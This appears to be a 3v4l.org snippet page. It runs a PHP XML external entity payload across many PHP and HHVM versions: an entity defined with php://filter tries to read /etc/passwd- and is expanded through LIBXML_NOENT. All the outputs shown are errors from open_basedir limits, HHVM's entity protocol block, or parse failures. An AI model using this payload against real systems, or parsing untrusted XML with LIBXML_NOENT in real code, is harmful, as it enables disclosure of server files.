3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $xml = '<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE strony [ <!ENTITY shp SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd-"> ] > <strony> <strona id="cccc"> <nazwa>bbbb</nazwa> <url>http://www.aaaa.pl/</url> <komentarz> &shp;</komentarz> </strona> </strony>'; $strony = new SimpleXMLElement($xml, LIBXML_NOENT); foreach($strony->strona->komentarz as $komentarz) echo "$komentarz\n";
based on bEHdi
Output for 7.1.10, 7.2.0, 7.3.0alpha1 - 7.3.0rc3
Warning: SimpleXMLElement::__construct(php://filter/convert.base64-encode/resource=/etc/passwd-): failed to open stream: operation failed in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): I/O warning : failed to load external entity "php://filter/convert.base64-encode/resource=/etc/passwd-" in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): Entity: line 9: parser error : Failure to process entity shp in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): <komentarz> &shp;</komentarz> in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): ^ in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): Entity: line 9: parser error : Entity 'shp' not defined in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): <komentarz> &shp;</komentarz> in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): ^ in /in/k5MSn on line 14 Fatal error: Uncaught Exception: String could not be parsed as XML in /in/k5MSn:14 Stack trace: #0 /in/k5MSn(14): SimpleXMLElement->__construct('<?xml version="...', 2) #1 {main} thrown in /in/k5MSn on line 14
Process exited with code 255.
Output for 7.1.20, 7.2.6
Warning: SimpleXMLElement::__construct(): open_basedir restriction in effect. File(/etc/passwd-) is not within the allowed path(s): (/tmp:/in) in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(php://filter/convert.base64-encode/resource=/etc/passwd-): failed to open stream: operation failed in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): I/O warning : failed to load external entity "php://filter/convert.base64-encode/resource=/etc/passwd-" in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): Entity: line 9: parser error : Failure to process entity shp in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): <komentarz> &shp;</komentarz> in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): ^ in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): Entity: line 9: parser error : Entity 'shp' not defined in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): <komentarz> &shp;</komentarz> in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): ^ in /in/k5MSn on line 14 Fatal error: Uncaught Exception: String could not be parsed as XML in /in/k5MSn:14 Stack trace: #0 /in/k5MSn(14): SimpleXMLElement->__construct('<?xml version="...', 2) #1 {main} thrown in /in/k5MSn on line 14
Process exited with code 255.
Output for 7.0.0 - 7.1.7
Warning: SimpleXMLElement::__construct(): open_basedir restriction in effect. File(/etc/passwd-) is not within the allowed path(s): (/tmp/) in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(php://filter/convert.base64-encode/resource=/etc/passwd-): failed to open stream: operation failed in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): I/O warning : failed to load external entity "php://filter/convert.base64-encode/resource=/etc/passwd-" in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): Entity: line 9: parser error : Failure to process entity shp in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): <komentarz> &shp;</komentarz> in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): ^ in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): Entity: line 9: parser error : Entity 'shp' not defined in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): <komentarz> &shp;</komentarz> in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): ^ in /in/k5MSn on line 14 Fatal error: Uncaught Exception: String could not be parsed as XML in /in/k5MSn:14 Stack trace: #0 /in/k5MSn(14): SimpleXMLElement->__construct('<?xml version="...', 2) #1 {main} thrown in /in/k5MSn on line 14
Process exited with code 255.
Output for hhvm-3.15.4
Warning: Protocol 'php' for external XML entity 'php://filter/convert.base64-encode/resource=/etc/passwd-' is disabled for security reasons. This may be changed using the hhvm.libxml.ext_entity_whitelist ini setting. in /in/k5MSn on line 14 Fatal error: Uncaught exception 'Exception' with message 'String could not be parsed as XML' in /in/k5MSn:14 Stack trace: #0 /in/k5MSn(14): SimpleXMLElement->__construct() #1 {main} Entity: line 9: parser error : Failure to process entity shp <komentarz> &shp;</komentarz> ^ Entity: line 9: parser error : Entity 'shp' not defined <komentarz> &shp;</komentarz> ^
Process exited with code 255.
Output for 5.6.0 - 5.6.30
Warning: SimpleXMLElement::__construct(): open_basedir restriction in effect. File(/etc/passwd-) is not within the allowed path(s): (/tmp/) in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(php://filter/convert.base64-encode/resource=/etc/passwd-): failed to open stream: operation failed in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): I/O warning : failed to load external entity "php://filter/convert.base64-encode/resource=/etc/passwd-" in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): Entity: line 9: parser error : Failure to process entity shp in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): <komentarz> &shp;</komentarz> in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): ^ in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): Entity: line 9: parser error : Entity 'shp' not defined in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): <komentarz> &shp;</komentarz> in /in/k5MSn on line 14 Warning: SimpleXMLElement::__construct(): ^ in /in/k5MSn on line 14 Fatal error: Uncaught exception 'Exception' with message 'String could not be parsed as XML' in /in/k5MSn:14 Stack trace: #0 /in/k5MSn(14): SimpleXMLElement->__construct('<?xml version="...', 2) #1 {main} thrown in /in/k5MSn on line 14
Process exited with code 255.